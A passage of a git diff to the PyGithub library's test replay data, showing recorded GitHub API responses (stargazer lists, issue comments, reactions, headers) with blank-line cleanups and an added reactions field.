://api.github.com/users/antramm/repos","events_url":"https://api.github.com/users/antramm/events{/privacy}","received_events_url":"https://api.github.com/users/antramm/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"ludwig","id":1056,"node_id":"MDQ6VXNlcjEwNTY=","avatar_url":"https://avatars0.githubusercontent.com/u/1056?v=4","gravatar_id":"","url":"https://api.github.com/users/ludwig","html_url":"https://github.com/ludwig","followers_url":"https://api.github.com/users/ludwig/followers","following_url":"https://api.github.com/users/ludwig/following{/other_user}","gists_url":"https://api.github.com/users/ludwig/gists{/gist_id}","starred_url":"https://api.github.com/users/ludwig/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ludwig/subscriptions","organizations_url":"https://api.github.com/users/ludwig/orgs","repos_url":"https://api.github.com/users/ludwig/repos","events_url":"https://api.github.com/users/ludwig/events{/privacy}","received_events_url":"https://api.github.com/users/ludwig/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"mk","id":1187,"node_id":"MDQ6VXNlcjExODc=","avatar_url":"https://avatars2.githubusercontent.com/u/1187?v=4","gravatar_id":"","url":"https://api.github.com/users/mk","html_url":"https://github.com/mk","followers_url":"https://api.github.com/users/mk/followers","following_url":"https://api.github.com/users/mk/following{/other_user}","gists_url":"https://api.github.com/users/mk/gists{/gist_id}","starred_url":"https://api.github.com/users/mk/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mk/subscriptions","organizations_url":"https://api.github.com/users/mk/orgs","repos_url":"https://api.github.com/users/mk/repos","events_url":"https://api.github.com/users/mk/events{/privacy}","received_events_url":"https://api.github.com/users/mk/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"reedlaw","id":1344,"node_id":"MDQ6VXNlcjEzNDQ=","avatar_url":"https://avatars0.githubusercontent.com/u/1344?v=4","gravatar_id":"","url":"https://api.github.com/users/reedlaw","html_url":"https://github.com/reedlaw","followers_url":"https://api.github.com/users/reedlaw/followers","following_url":"https://api.github.com/users/reedlaw/following{/other_user}","gists_url":"https://api.github.com/users/reedlaw/gists{/gist_id}","starred_url":"https://api.github.com/users/reedlaw/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/reedlaw/subscriptions","organizations_url":"https://api.github.com/users/reedlaw/orgs","repos_url":"https://api.github.com/users/reedlaw/repos","events_url":"https://api.github.com/users/reedlaw/events{/privacy}","received_events_url":"https://api.github.com/users/reedlaw/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"esiegel","id":1390,"node_id":"MDQ6VXNlcjEzOTA=","avatar_url":"https://avatars2.githubusercontent.com/u/1390?v=4","gravatar_id":"","url":"https://api.github.com/users/esiegel","html_url":"https://github.com/esiegel","followers_url":"https://api.github.com/users/esiegel/followers","following_url":"https://api.github.com/users/esiegel/following{/other_user}","gists_url":"https://api.github.com/users/esiegel/gists{/gist_id}","starred_url":"https://api.github.com/users/esiegel/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/esiegel/subscriptions","organizations_url":"https://api.github.com/users/esiegel/orgs","repos_url":"https://api.github.com/users/esiegel/repos","events_url":"https://api.github.com/users/esiegel/events{/privacy}","received_events_url":"https://api.github.com/users/esiegel/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"gaubert","id":1482,"node_id":"MDQ6VXNlcjE0ODI=","avatar_url":"https://avatars1.githubusercontent.com/u/1482?v=4","gravatar_id":"","url":"https://api.github.com/users/gaubert","html_url":"https://github.com/gaubert","followers_url":"https://api.github.com/users/gaubert/followers","following_url":"https://api.github.com/users/gaubert/following{/other_user}","gists_url":"https://api.github.com/users/gaubert/gists{/gist_id}","starred_url":"https://api.github.com/users/gaubert/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gaubert/subscriptions","organizations_url":"https://api.github.com/users/gaubert/orgs","repos_url":"https://api.github.com/users/gaubert/repos","events_url":"https://api.github.com/users/gaubert/events{/privacy}","received_events_url":"https://api.github.com/users/gaubert/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"pushkar","id":1484,"node_id":"MDQ6VXNlcjE0ODQ=","avatar_url":"https://avatars1.githubusercontent.com/u/1484?v=4","gravatar_id":"","url":"https://api.github.com/users/pushkar","html_url":"https://github.com/pushkar","followers_url":"https://api.github.com/users/pushkar/followers","following_url":"https://api.github.com/users/pushkar/following{/other_user}","gists_url":"https://api.github.com/users/pushkar/gists{/gist_id}","starred_url":"https://api.github.com/users/pushkar/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pushkar/subscriptions","organizations_url":"https://api.github.com/users/pushkar/orgs","repos_url":"https://api.github.com/users/pushkar/repos","events_url":"https://api.github.com/users/pushkar/events{/privacy}","received_events_url":"https://api.github.com/users/pushkar/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"edwardgeorge","id":1572,"node_id":"MDQ6VXNlcjE1NzI=","avatar_url":"https://avatars0.githubusercontent.com/u/1572?v=4","gravatar_id":"","url":"https://api.github.com/users/edwardgeorge","html_url":"https://github.com/edwardgeorge","followers_url":"https://api.github.com/users/edwardgeorge/followers","following_url":"https://api.github.com/users/edwardgeorge/following{/other_user}","gists_url":"https://api.github.com/users/edwardgeorge/gists{/gist_id}","starred_url":"https://api.github.com/users/edwardgeorge/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/edwardgeorge/subscriptions","organizations_url":"https://api.github.com/users/edwardgeorge/orgs","repos_url":"https://api.github.com/users/edwardgeorge/repos","events_url":"https://api.github.com/users/edwardgeorge/events{/privacy}","received_events_url":"https://api.github.com/users/edwardgeorge/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"jonbro","id":1597,"node_id":"MDQ6VXNlcjE1OTc=","avatar_url":"https://avatars0.githubusercontent.com/u/1597?v=4","gravatar_id":"","url":"https://api.github.com/users/jonbro","html_url":"https://github.com/jonbro","followers_url":"https://api.github.com/users/jonbro/followers","following_url":"https://api.github.com/users/jonbro/following{/other_user}","gists_url":"https://api.github.com/users/jonbro/gists{/gist_id}","starred_url":"https://api.github.com/users/jonbro/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jonbro/subscriptions","organizations_url":"https://api.github.com/users/jonbro/orgs","repos_url":"https://api.github.com/users/jonbro/repos","events_url":"https://api.github.com/users/jonbro/events{/privacy}","received_events_url":"https://api.github.com/users/jonbro/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"lrtitze","id":1818,"node_id":"MDQ6VXNlcjE4MTg=","avatar_url":"https://avatars0.githubusercontent.com/u/1818?v=4","gravatar_id":"","url":"https://api.github.com/users/lrtitze","html_url":"https://github.com/lrtitze","followers_url":"https://api.github.com/users/lrtitze/followers","following_url":"https://api.github.com/users/lrtitze/following{/other_user}","gists_url":"https://api.github.com/users/lrtitze/gists{/gist_id}","starred_url":"https://api.github.com/users/lrtitze/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lrtitze/subscriptions","organizations_url":"https://api.github.com/users/lrtitze/orgs","repos_url":"https://api.github.com/users/lrtitze/repos","events_url":"https://api.github.com/users/lrtitze/events{/privacy}","received_events_url":"https://api.github.com/users/lrtitze/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"sroske","id":2015,"node_id":"MDQ6VXNlcjIwMTU=","avatar_url":"https://avatars1.githubusercontent.com/u/2015?v=4","gravatar_id":"","url":"https://api.github.com/users/sroske","html_url":"https://github.com/sroske","followers_url":"https://api.github.com/users/sroske/followers","following_url":"https://api.github.com/users/sroske/following{/other_user}","gists_url":"https://api.github.com/users/sroske/gists{/gist_id}","starred_url":"https://api.github.com/users/sroske/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sroske/subscriptions","organizations_url":"https://api.github.com/users/sroske/orgs","repos_url":"https://api.github.com/users/sroske/repos","events_url":"https://api.github.com/users/sroske/events{/privacy}","received_events_url":"https://api.github.com/users/sroske/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"doubledare","id":2166,"node_id":"MDQ6VXNlcjIxNjY=","avatar_url":"https://avatars1.githubusercontent.com/u/2166?v=4","gravatar_id":"","url":"https://api.github.com/users/doubledare","html_url":"https://github.com/doubledare","followers_url":"https://api.github.com/users/doubledare/followers","following_url":"https://api.github.com/users/doubledare/following{/other_user}","gists_url":"https://api.github.com/users/doubledare/gists{/gist_id}","starred_url":"https://api.github.com/users/doubledare/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/doubledare/subscriptions","organizations_url":"https://api.github.com/users/doubledare/orgs","repos_url":"https://api.github.com/users/doubledare/repos","events_url":"https://api.github.com/users/doubledare/events{/privacy}","received_events_url":"https://api.github.com/users/doubledare/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"JamesHarrison","id":2263,"node_id":"MDQ6VXNlcjIyNjM=","avatar_url":"https://avatars0.githubusercontent.com/u/2263?v=4","gravatar_id":"","url":"https://api.github.com/users/JamesHarrison","html_url":"https://github.com/JamesHarrison","followers_url":"https://api.github.com/users/JamesHarrison/followers","following_url":"https://api.github.com/users/JamesHarrison/following{/other_user}","gists_url":"https://api.github.com/users/JamesHarrison/gists{/gist_id}","starred_url":"https://api.github.com/users/JamesHarrison/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JamesHarrison/subscriptions","organizations_url":"https://api.github.com/users/JamesHarrison/orgs","repos_url":"https://api.github.com/users/JamesHarrison/repos","events_url":"https://api.github.com/users/JamesHarrison/events{/privacy}","received_events_url":"https://api.github.com/users/JamesHarrison/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"zemariamm","id":2427,"node_id":"MDQ6VXNlcjI0Mjc=","avatar_url":"https://avatars0.githubusercontent.com/u/2427?v=4","gravatar_id":"","url":"https://api.github.com/users/zemariamm","html_url":"https://github.com/zemariamm","followers_url":"https://api.github.com/users/zemariamm/followers","following_url":"https://api.github.com/users/zemariamm/following{/other_user}","gists_url":"https://api.github.com/users/zemariamm/gists{/gist_id}","starred_url":"https://api.github.com/users/zemariamm/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zemariamm/subscriptions","organizations_url":"https://api.github.com/users/zemariamm/orgs","repos_url":"https://api.github.com/users/zemariamm/repos","events_url":"https://api.github.com/users/zemariamm/events{/privacy}","received_events_url":"https://api.github.com/users/zemariamm/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"tgittos","id":2472,"node_id":"MDQ6VXNlcjI0NzI=","avatar_url":"https://avatars3.githubusercontent.com/u/2472?v=4","gravatar_id":"","url":"https://api.github.com/users/tgittos","html_url":"https://github.com/tgittos","followers_url":"https://api.github.com/users/tgittos/followers","following_url":"https://api.github.com/users/tgittos/following{/other_user}","gists_url":"https://api.github.com/users/tgittos/gists{/gist_id}","starred_url":"https://api.github.com/users/tgittos/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tgittos/subscriptions","organizations_url":"https://api.github.com/users/tgittos/orgs","repos_url":"https://api.github.com/users/tgittos/repos","events_url":"https://api.github.com/users/tgittos/events{/privacy}","received_events_url":"https://api.github.com/users/tgittos/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"lhl","id":2581,"node_id":"MDQ6VXNlcjI1ODE=","avatar_url":"https://avatars2.githubusercontent.com/u/2581?v=4","gravatar_id":"","url":"https://api.github.com/users/lhl","html_url":"https://github.com/lhl","followers_url":"https://api.github.com/users/lhl/followers","following_url":"https://api.github.com/users/lhl/following{/other_user}","gists_url":"https://api.github.com/users/lhl/gists{/gist_id}","starred_url":"https://api.github.com/users/lhl/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lhl/subscriptions","organizations_url":"https://api.github.com/users/lhl/orgs","repos_url":"https://api.github.com/users/lhl/repos","events_url":"https://api.github.com/users/lhl/events{/privacy}","received_events_url":"https://api.github.com/users/lhl/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"gabriel","id":2669,"node_id":"MDQ6VXNlcjI2Njk=","avatar_url":"https://avatars2.githubusercontent.com/u/2669?v=4","gravatar_id":"","url":"https://api.github.com/users/gabriel","html_url":"https://github.com/gabriel","followers_url":"https://api.github.com/users/gabriel/followers","following_url":"https://api.github.com/users/gabriel/following{/other_user}","gists_url":"https://api.github.com/users/gabriel/gists{/gist_id}","starred_url":"https://api.github.com/users/gabriel/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gabriel/subscriptions","organizations_url":"https://api.github.com/users/gabriel/orgs","repos_url":"https://api.github.com/users/gabriel/repos","events_url":"https://api.github.com/users/gabriel/events{/privacy}","received_events_url":"https://api.github.com/users/gabriel/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"paulreimer","id":2677,"node_id":"MDQ6VXNlcjI2Nzc=","avatar_url":"https://avatars2.githubusercontent.com/u/2677?v=4","gravatar_id":"","url":"https://api.github.com/users/paulreimer","html_url":"https://github.com/paulreimer","followers_url":"https://api.github.com/users/paulreimer/followers","following_url":"https://api.github.com/users/paulreimer/following{/other_user}","gists_url":"https://api.github.com/users/paulreimer/gists{/gist_id}","starred_url":"https://api.github.com/users/paulreimer/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/paulreimer/subscriptions","organizations_url":"https://api.github.com/users/paulreimer/orgs","repos_url":"https://api.github.com/users/paulreimer/repos","events_url":"https://api.github.com/users/paulreimer/events{/privacy}","received_events_url":"https://api.github.com/users/paulreimer/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"kevinchiu","id":2712,"node_id":"MDQ6VXNlcjI3MTI=","avatar_url":"https://avatars3.githubusercontent.com/u/2712?v=4","gravatar_id":"","url":"https://api.github.com/users/kevinchiu","html_url":"https://github.com/kevinchiu","followers_url":"https://api.github.com/users/kevinchiu/followers","following_url":"https://api.github.com/users/kevinchiu/following{/other_user}","gists_url":"https://api.github.com/users/kevinchiu/gists{/gist_id}","starred_url":"https://api.github.com/users/kevinchiu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kevinchiu/subscriptions","organizations_url":"https://api.github.com/users/kevinchiu/orgs","repos_url":"https://api.github.com/users/kevinchiu/repos","events_url":"https://api.github.com/users/kevinchiu/events{/privacy}","received_events_url":"https://api.github.com/users/kevinchiu/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"kumekay","id":2738,"node_id":"MDQ6VXNlcjI3Mzg=","avatar_url":"https://avatars1.githubusercontent.com/u/2738?v=4","gravatar_id":"","url":"https://api.github.com/users/kumekay","html_url":"https://github.com/kumekay","followers_url":"https://api.github.com/users/kumekay/followers","following_url":"https://api.github.com/users/kumekay/following{/other_user}","gists_url":"https://api.github.com/users/kumekay/gists{/gist_id}","starred_url":"https://api.github.com/users/kumekay/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kumekay/subscriptions","organizations_url":"https://api.github.com/users/kumekay/orgs","repos_url":"https://api.github.com/users/kumekay/repos","events_url":"https://api.github.com/users/kumekay/events{/privacy}","received_events_url":"https://api.github.com/users/kumekay/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"peej","id":2858,"node_id":"MDQ6VXNlcjI4NTg=","avatar_url":"https://avatars1.githubusercontent.com/u/2858?v=4","gravatar_id":"","url":"https://api.github.com/users/peej","html_url":"https://github.com/peej","followers_url":"https://api.github.com/users/peej/followers","following_url":"https://api.github.com/users/peej/following{/other_user}","gists_url":"https://api.github.com/users/peej/gists{/gist_id}","starred_url":"https://api.github.com/users/peej/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/peej/subscriptions","organizations_url":"https://api.github.com/users/peej/orgs","repos_url":"https://api.github.com/users/peej/repos","events_url":"https://api.github.com/users/peej/events{/privacy}","received_events_url":"https://api.github.com/users/peej/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"stinie","id":3000,"node_id":"MDQ6VXNlcjMwMDA=","avatar_url":"https://avatars2.githubusercontent.com/u/3000?v=4","gravatar_id":"","url":"https://api.github.com/users/stinie","html_url":"https://github.com/stinie","followers_url":"https://api.github.com/users/stinie/followers","following_url":"https://api.github.com/users/stinie/following{/other_user}","gists_url":"https://api.github.com/users/stinie/gists{/gist_id}","starred_url":"https://api.github.com/users/stinie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/stinie/subscriptions","organizations_url":"https://api.github.com/users/stinie/orgs","repos_url":"https://api.github.com/users/stinie/repos","events_url":"https://api.github.com/users/stinie/events{/privacy}","received_events_url":"https://api.github.com/users/stinie/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"subblue","id":3010,"node_id":"MDQ6VXNlcjMwMTA=","avatar_url":"https://avatars3.githubusercontent.com/u/3010?v=4","gravatar_id":"","url":"https://api.github.com/users/subblue","html_url":"https://github.com/subblue","followers_url":"https://api.github.com/users/subblue/followers","following_url":"https://api.github.com/users/subblue/following{/other_user}","gists_url":"https://api.github.com/users/subblue/gists{/gist_id}","starred_url":"https://api.github.com/users/subblue/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/subblue/subscriptions","organizations_url":"https://api.github.com/users/subblue/orgs","repos_url":"https://api.github.com/users/subblue/repos","events_url":"https://api.github.com/users/subblue/events{/privacy}","received_events_url":"https://api.github.com/users/subblue/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"mineiro","id":3123,"node_id":"MDQ6VXNlcjMxMjM=","avatar_url":"https://avatars1.githubusercontent.com/u/3123?v=4","gravatar_id":"","url":"https://api.github.com/users/mineiro","html_url":"https://github.com/mineiro","followers_url":"https://api.github.com/users/mineiro/followers","following_url":"https://api.github.com/users/mineiro/following{/other_user}","gists_url":"https://api.github.com/users/mineiro/gists{/gist_id}","starred_url":"https://api.github.com/users/mineiro/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mineiro/subscriptions","organizations_url":"https://api.github.com/users/mineiro/orgs","repos_url":"https://api.github.com/users/mineiro/repos","events_url":"https://api.github.com/users/mineiro/events{/privacy}","received_events_url":"https://api.github.com/users/mineiro/received_events","type":"User","site_admin":false}}] - diff --git a/tests/ReplayData/IssueComment.setUp.txt b/tests/ReplayData/IssueComment.setUp.txt index 39a7f5034c..05ab6829b1 100644 --- a/tests/ReplayData/IssueComment.setUp.txt +++ b/tests/ReplayData/IssueComment.setUp.txt @@ -40,5 +40,4 @@ None None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '506'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4fa1a8e8e534bcc93123ea6ee8fd4284"'), ('date', 'Sun, 20 May 2012 11:50:56 GMT'), ('content-type', 'application/json; charset=utf-8')] -{"updated_at":"2012-05-20T11:46:42Z","body":"Comment created by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/5808311","created_at":"2012-05-20T11:46:42Z","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":5808311,"html_url":"https://github.com/jacquev6/PyGithub/issues/28#issuecomment-5808311"} - +{"updated_at":"2012-05-20T11:46:42Z","body":"Comment created by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/5808311","created_at":"2012-05-20T11:46:42Z","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":5808311,"html_url":"https://github.com/jacquev6/PyGithub/issues/28#issuecomment-5808311","reactions":{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/5808311/reactions","total_count":2,"+1":1,"-1":0,"laugh":0,"hooray":1,"confused":0,"heart":0,"rocket":0,"eyes":0}} diff --git a/tests/ReplayData/IssueComment.testCreateReaction.txt b/tests/ReplayData/IssueComment.testCreateReaction.txt index 7652815c94..0d35109bb8 100644 --- a/tests/ReplayData/IssueComment.testCreateReaction.txt +++ b/tests/ReplayData/IssueComment.testCreateReaction.txt @@ -8,4 +8,3 @@ None 201 [('content-length', '999'), ('x-runtime-rack', '0.057485'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"4fa5b2fc1d006ba2d2732c3a5d07b6e4"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '201 Created'), ('x-ratelimit-remaining', '4980'), ('x-github-media-type', 'github.squirrel-girl-preview'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'F2C5:452C:149699:33A732:5A31CB59'), ('date', 'Thu, 14 Dec 2017 00:52:42 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1513213757')] {"id":17282654,"user":{"login":"nicolastrres","id":6579348,"avatar_url":"https://avatars0.githubusercontent.com/u/6579348?v=4","gravatar_id":"","url":"https://api.github.com/users/nicolastrres","html_url":"https://github.com/nicolastrres","followers_url":"https://api.github.com/users/nicolastrres/followers","following_url":"https://api.github.com/users/nicolastrres/following{/other_user}","gists_url":"https://api.github.com/users/nicolastrres/gists{/gist_id}","starred_url":"https://api.github.com/users/nicolastrres/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nicolastrres/subscriptions","organizations_url":"https://api.github.com/users/nicolastrres/orgs","repos_url":"https://api.github.com/users/nicolastrres/repos","events_url":"https://api.github.com/users/nicolastrres/events{/privacy}","received_events_url":"https://api.github.com/users/nicolastrres/received_events","type":"User","site_admin":false},"content":"hooray","created_at":"2017-12-14T00:52:42Z"} - diff --git a/tests/ReplayData/IssueComment.testDelete.txt b/tests/ReplayData/IssueComment.testDelete.txt index 0f0457abe7..31918f8e85 100644 --- a/tests/ReplayData/IssueComment.testDelete.txt +++ b/tests/ReplayData/IssueComment.testDelete.txt @@ -7,4 +7,3 @@ None None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4975'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sun, 20 May 2012 11:57:12 GMT')] - diff --git a/tests/ReplayData/IssueComment.testDeleteReaction.txt b/tests/ReplayData/IssueComment.testDeleteReaction.txt index 9b6aae1638..3e83b48bb7 100644 --- a/tests/ReplayData/IssueComment.testDeleteReaction.txt +++ b/tests/ReplayData/IssueComment.testDeleteReaction.txt @@ -7,5 +7,3 @@ None None 204 [('Date', 'Mon, 28 Sep 2020 20:58:11 GMT'), ('Server', 'GitHub.com'), ('Status', '204 No Content'), ('X-OAuth-Scopes', 'public_repo, repo:status, write:discussion'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.squirrel-girl-preview'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4983'), ('X-RateLimit-Reset', '1601330202'), ('X-RateLimit-Used', '17'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('X-GitHub-Request-Id', '8F46:7327:16616BD7:1AB22028:5F724E63')] - - diff --git a/tests/ReplayData/IssueComment.testEdit.txt b/tests/ReplayData/IssueComment.testEdit.txt index 8c25c0f408..6dd26d3962 100644 --- a/tests/ReplayData/IssueComment.testEdit.txt +++ b/tests/ReplayData/IssueComment.testEdit.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4980'), ('content-length', '505'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1599061186ef7ca2dbf5bdee1711746a"'), ('date', 'Sun, 20 May 2012 11:53:59 GMT'), ('content-type', 'application/json; charset=utf-8')] {"updated_at":"2012-05-20T11:53:59Z","body":"Comment edited by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/5808311","created_at":"2012-05-20T11:46:42Z","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":5808311} - diff --git a/tests/ReplayData/IssueComment.testGetReactions.txt b/tests/ReplayData/IssueComment.testGetReactions.txt index f8551d7d4b..849603fb6f 100644 --- a/tests/ReplayData/IssueComment.testGetReactions.txt +++ b/tests/ReplayData/IssueComment.testGetReactions.txt @@ -8,4 +8,3 @@ None 200 [('content-length', '997'), ('x-runtime-rack', '0.054817'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"07ca04dfb60f61121045ee50401f8618"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4956'), ('x-github-media-type', 'github.squirrel-girl-preview'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'EED0:2C25:53276E:ACDB5F:5A2DC9AD'), ('date', 'Sun, 10 Dec 2017 23:56:30 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1512952989')] [{"id":17132447,"user":{"login":"nicolastrres","id":6579348,"avatar_url":"https://avatars0.githubusercontent.com/u/6579348?v=4","gravatar_id":"","url":"https://api.github.com/users/nicolastrres","html_url":"https://github.com/nicolastrres","followers_url":"https://api.github.com/users/nicolastrres/followers","following_url":"https://api.github.com/users/nicolastrres/following{/other_user}","gists_url":"https://api.github.com/users/nicolastrres/gists{/gist_id}","starred_url":"https://api.github.com/users/nicolastrres/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nicolastrres/subscriptions","organizations_url":"https://api.github.com/users/nicolastrres/orgs","repos_url":"https://api.github.com/users/nicolastrres/repos","events_url":"https://api.github.com/users/nicolastrres/events{/privacy}","received_events_url":"https://api.github.com/users/nicolastrres/received_events","type":"User","site_admin":false},"content":"+1","created_at":"2017-12-10T23:38:43Z"}] - diff --git a/tests/ReplayData/IssueEvent.setUp.txt b/tests/ReplayData/IssueEvent.setUp.txt index df09c7f71f..d76214b67b 100644 --- a/tests/ReplayData/IssueEvent.setUp.txt +++ b/tests/ReplayData/IssueEvent.setUp.txt @@ -294,4 +294,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 23 Aug 2018 20:33:37 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4911'), ('X-RateLimit-Reset', '1535059890'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"c9c2512a1714a76980ef889b162b0824"'), ('Last-Modified', 'Tue, 21 Aug 2018 02:49:57 GMT'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.sailor-v-preview; format=json'), 